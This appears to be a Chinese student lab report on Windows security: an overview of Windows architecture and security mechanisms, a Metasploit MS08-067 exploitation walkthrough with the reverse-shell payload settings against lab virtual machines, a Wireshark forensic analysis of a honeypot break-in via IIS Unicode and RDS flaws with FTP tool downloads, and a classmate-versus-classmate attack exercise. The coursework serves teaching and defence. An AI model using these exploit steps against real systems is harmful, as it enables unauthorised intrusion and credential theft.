1.实践内容

1.1 Windows操作系统基本框架概述

WINDOWS执行dockercomposer Windows执行体_Windows

Windows操作系统内核组件:

Windows执行体:Windows内核核心文件ntoskrnl.exe的上层接口,包含基本的操作系统服务,如内存管理,进程和线程管理,安全性,I/O,网络,跨进程通信。

Windows内核体:由一组底层的操作系统功能构成,如线程调度,终端和异常处理分发。以及处理器同步。提供了一组例程和基础对象。执行体的其他部分利用这些例程和对象实现更高层次的功能。

设备驱动程序:硬件设备驱动程序,也包含文件系统和网络驱动程序。其中硬件设备驱动程序将用户的I/O函数调用转化为特定的硬件设备请求。

硬件抽象层:指一层特殊代码,它把内核,设备驱动程序和windows执行体其他部分跟与平台相关的硬件差异隔离开来。

窗口和图形系统:实现了图形用户界面函数。

用户模式进程:

系统支持进程:Windows开机自动启动的系统内建服务进程,如登陆进程,会话管理器进程

环境子系统服务进程:为操作系统提供支持的服务进程,如windows XP只支持Windows环境子系统。

服务进程:通过Windows的服务管理机制启动的一系列系统及网络服务,如Microsoft SQL Server网络服务

用户应用软件:用户执行的各类用户应用软件。 有6个类型:windows32位,windows64位,windows3.1 16位,ms-dos 16位,posix32位或者OS/2 32位。

核心子系统DLL:即动态连接库文件

Windows操作系统内核中的核心机制:

Windows进程和线程管理机制:进程可以看作是windows子系统的执行对象

WINDOWS执行dockercomposer Windows执行体_应用软件_02

Windows内存管理机制:分为系统核心内存区间和用户内存区间两部分

Windows文件管理机制:windows下使用NTFS文件结构
windows 使用PE格式的可执行文件,主要分为Dos头、PE头、分段表、以及具体的代码段和数据段等格式

NTFS文件系统基于ACL访问控制列表来保证文件资源读/写的安全性;
windows可执行文件采用PE格式,其结构主要由DoS头,PE头、分段表,以及具体的代码段、数据段等组成。

Windows注册表管理机制:注册表被称为Windows操作系统中的一个核心数据库,作为系统全局配置、用户和应用软件配置信息的存储仓库。它的工作原理实质是一个庞大的数据库,存放了关于计算机硬件的配置信息、系统和应用软件的初始化信息、应用软件和文档文件的关联关系、硬件设备的说明以及各种状态信息和数据,包括Windows操作时不断引用的信息。

Windows的网络机制:windows下网络组件整体结构图

WINDOWS执行dockercomposer Windows执行体_.net_03

1.2 Windows操作系统的安全体系结构与机制

windows安全体系结构:

windows的安全体系结构基于引用监控器这一经典的安全模型。

其最核心的是位于内核的SRM安全引用监视器,以及位于用户态的LSASS安全服务,并与winlogin、eventlog等相关服务一起实现身份认证机制

WINDOWS执行dockercomposer Windows执行体_Windows_04

windows身份认证机制与授权、访问控制机制

Windows授权与访问控制机制是基于引用监控器模型,由内核中的SRM模块与用户态的LSASS服务共同实施。

Windows安全审计机制

系统审计策略在本地安全策略中由系统管理员定义,确定系统对哪些事件进行记录

LSAS服务将保存审计策略,在对象安全描述符中的SACL列表中进行保存

SRM在进行对象访问授权时,依据对象的SACL列表配置,对指定的对象访问和操作事件进行审计记录

1.3Windows远程安全攻防技术

windows远程安全攻防的分类

远程口令猜测与破解攻击

攻击windows网络服务

攻击windows客户端及用户

Metasploit的整体架构

WINDOWS执行dockercomposer Windows执行体_应用软件_05

windows远程攻击方法的防御措施

口令猜测和破解防范措施:用户设置较高安全强度的口令;关闭易受口令猜测攻击网络服务的端口、配置主机防火墙来限制上述端口、利用网络防火墙来限制这些服务的访问和禁用存在缺陷的NTLM

远程渗透攻击防范措施:从软件设计上尽量减少漏洞的出现、尽可能快的更新安全补丁、为“零日”漏洞配置缓解攻击配置、利用安全清单插件来固化网络服务、通过漏洞扫描软件来标识存在的漏洞并及时补救。

1.4 Windows本地安全攻防技术

windows本地特权提升

本地提权的常见三种手段:溢出提权、windows错误系统配置、计划任务提权。

防范措施:及时打补丁、及时跟进厂家的安全警告

windows敏感信息窃取

包括windows系统口令字密文提取技术、windows系统口令字破解技术、用户敏感信息窃取等手段

防范措施:使用安全度高、能抵挡破解的口令

windows消灭踪迹

主要手段包括、关闭审计功能、清理事件日志。

防范措施:实现配置好系统审计和网络服务审计功能,并将日志传输到安全服务器中。

远程控制与后门

主要手段包括向受控主机中植入第三方的远程控制与后门程序,主要包含命令行远程控制程序和图形化远程控制程序。
防范措施:采用一些后门检测软件来尝试发现攻击者隐藏的后门程序。

2.实践过程

2.1动手实践Metasploit windows attacker

任务:使用metasploit软件进行windows远程渗透统计实验

具体任务内容:使用windows Attacker/BT4攻击机尝试对windows Metasploitable靶机上的MS08-067漏洞进行远程渗透攻击,获取目标主机的访问权

win2kServer(ip:192.168.192.124)

kali (ip:192.168.192.5)

首先确认两者可以互相ping通

WINDOWS执行dockercomposer Windows执行体_应用软件_06

WINDOWS执行dockercomposer Windows执行体_.net_07

然后在kali打开Metasploit,输入search ms08_067

WINDOWS执行dockercomposer Windows执行体_Windows_08

接着执行use exploit/windows/smb/ms08_067_netapi进入该漏洞模块的使用

WINDOWS执行dockercomposer Windows执行体_.net_09

通过命令set PAYLOAD generic/shell_everse_tcp设置打开反向连接的载荷

WINDOWS执行dockercomposer Windows执行体_.net_10

设置攻击目标,通过命令set RHOST 192.168.192.124

WINDOWS执行dockercomposer Windows执行体_应用软件_11

设置攻击地址,通过命令set LHOST 192.168.192.5

WINDOWS执行dockercomposer Windows执行体_应用软件_12

设置set TARGET 0,0代表自动匹配

WINDOWS执行dockercomposer Windows执行体_Windows_13

接下来通过exploit发起攻击(注意先打开wireshark)

WINDOWS执行dockercomposer Windows执行体_.net_14

然后分别在kali和win2k上输入ipconfig/all 查看

WINDOWS执行dockercomposer Windows执行体_Windows_15


WINDOWS执行dockercomposer Windows执行体_Windows_16


发现两者ip地址、mac地址都是一样的,故攻击成功。

2.2取证分析实践:解码一次成功的NT系统破解攻击

来自212.116.251.162的攻击者成功攻陷了一台由rfp部署的蜜罐主机172.16.1.106,(主机名为lab.wiretrip.net),要求提取并分析攻击的全部过程。
攻击者使用了什么破解工具进行攻击
攻击者如何使用这个破解工具进入并控制了系统
攻击者获得系统访问权限后做了什么
我们如何防止这样的攻击
你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么

首先下载老师上传的demo_NT_attack_data压缩包,然后用wireshark打开

WINDOWS执行dockercomposer Windows执行体_Windows_17


然后在菜单中选择统计-http-request

WINDOWS执行dockercomposer Windows执行体_.net_18


发现了这么几个网站 www.black-hats.com;www.BLACK-HATS.com;lab.wiretrip.net

WINDOWS执行dockercomposer Windows执行体_Windows_19


打开 www.black-hats.com 似乎是个邮箱网站?

WINDOWS执行dockercomposer Windows执行体_Windows_20


然后发现lab.wiretrip.net下出现了很多%C0%AF,%C0%AF是“/”字符的非法UTF-8表示方式,其他的资料并没有找到,只能在往届学长的博客中学习相关知识。

WINDOWS执行dockercomposer Windows执行体_Windows_21


WINDOWS执行dockercomposer Windows执行体_.net_22


WINDOWS执行dockercomposer Windows执行体_.net_23


因此在wireshark中设置过滤条件 ip.addr==172.16.1.106 and http

WINDOWS执行dockercomposer Windows执行体_.net_24


在117号后面找到了%C0%AF

WINDOWS执行dockercomposer Windows执行体_.net_25

说明攻击者通过IIS Unicode漏洞了解了被攻击主机操作系统的一些基本情况

之后又看到了msadcs.dll 查询百度得知,IIS有漏洞msadcs.dll,dll存在RDS漏洞,故猜测是RDS攻击

WINDOWS执行dockercomposer Windows执行体_Windows_26


WINDOWS执行dockercomposer Windows执行体_Windows_27


WINDOWS执行dockercomposer Windows执行体_应用软件_28

打开wireshark中的追踪http流,同样发现!ADM!ROX!YOUR!WORLD!,正好与之前看到的匹配

WINDOWS执行dockercomposer Windows执行体_应用软件_29

接着在追踪流中发现了一些shell命令,可以发现攻击者创建了一个ftpcom脚本,并使用ftp连接www.nether.net,尝试攻击

WINDOWS执行dockercomposer Windows执行体_.net_30


WINDOWS执行dockercomposer Windows执行体_应用软件_31


WINDOWS执行dockercomposer Windows执行体_应用软件_32


WINDOWS执行dockercomposer Windows执行体_应用软件_33

再追踪tcp流,发现输入口令错误,攻击还没有成功

WINDOWS执行dockercomposer Windows执行体_Windows_34

然后筛选ftp,查询成功的ftp连接以便于知道攻击者何时成功下载攻击工具。

然后再在http数据流中找到了攻击者正在攻击6969端口,

WINDOWS执行dockercomposer Windows执行体_Windows_35


接着输入tcp.port == 6969 筛选,追踪tcp流。发现攻击者想获得Administrator权限,运行net session但是访问失败,又试了net users,主机的用户列表只有Administrator

WINDOWS执行dockercomposer Windows执行体_.net_36


WINDOWS执行dockercomposer Windows执行体_.net_37


接着攻击者发了echo消息到C盘目录文件README.NOW.Hax0r

WINDOWS执行dockercomposer Windows执行体_Windows_38


还尝试net group查看组用户、net localgroup查看本地组用户、以及net group domain admins,都失败了

WINDOWS执行dockercomposer Windows执行体_.net_39


攻击者寻找msadc目录,并尝试执行pdump(抓包工具)来破解出口令密文但是并没有成功,然后删掉了samdump和pdump

WINDOWS执行dockercomposer Windows执行体_Windows_40


然后看到rdisk -s/,rdisk是修复磁盘程序,rdisk -s/是备份关键系统信息

WINDOWS执行dockercomposer Windows执行体_.net_41


攻击者把这个文件拷贝到har.txt并打印。

WINDOWS执行dockercomposer Windows执行体_Windows_42

接着回答问题,我们如何防御?我觉得口令要设定的复杂一点,及时扫描电脑漏洞,定期下载最新的补丁。

以及,攻击者应该是意识到了其攻击的是蜜罐主机。在追踪tcp流中,发现他留下了一句话:这是他见过的最好的蜜罐主机

WINDOWS执行dockercomposer Windows执行体_应用软件_43

2.3 团队对抗实践:windows系统远程渗透攻击和分析。

攻方使用metasploit选择漏洞进行攻击,获得控制权。(首先需要将攻击方和防守方的网络适配器改成桥接模式:

WINDOWS执行dockercomposer Windows执行体_Windows_44


WINDOWS执行dockercomposer Windows执行体_应用软件_45

并且攻击方和防守方需要在同一局域网内。

(1)我作为攻击方,攻击谭莉同学。

名称

IP

kali

192.168.43.148

Win2kServer

192.168.43.168

其中,我是攻击方:192.168.43.148

谭莉同学是防守方:192.168.43.168

测试两台主机的连通性:

WINDOWS执行dockercomposer Windows执行体_Windows_46

以下都是重复的实践1的步骤,过程我就不再截图展示了,就直接显示执行的命令吧,如下:
(1)打开kali的metasploit
(2)search ms08_067,搜索ms08_067漏洞
(3)use exploit/windows/smb/ms08_067_netapi,进入该漏洞模块的使用
(4)show payloads,显示出有效的攻击载荷
(5)set PAYLOAD 3,设置攻击有效载荷
(6)show options,显示我们需要在攻击前需要设置的数据
(7)按照靶机RHOST,攻击机LHOST的原则配置IP
set RHOST 192.168.43.168
set LHOST 192.168.43.148
(8)show options,再次查看payload状态
(9)set TARGET 0,设置目标操作系统平台类型
(10)打开wireshark进行监听,再使用攻击命令exploit

并使用如下命令:
cd ..
make mkdir
mkdir dengye

WINDOWS执行dockercomposer Windows执行体_Windows_47

在谭莉的主机中看见了我创建的两个文件夹:

WINDOWS执行dockercomposer Windows执行体_应用软件_48

当我作为防守方时,使用wireshark监听

可以看到捕捉到了被攻击的过程,攻击机向靶机发了许多SMB数据包。攻击利用的漏洞有:针对SMB网络服务的漏洞、DCERPC解析器拒绝服务漏洞、SPOOLSS打印服务假冒漏洞。

WINDOWS执行dockercomposer Windows执行体_Windows_49

3.遇到问题

问题:本次实验一开始不知道团队对抗怎么弄,然后一开始用校园网发现ip地址都被占用了。
解决方案:我和我的同伴都使用相同的个人热点,然后在同一个网段进行对抗。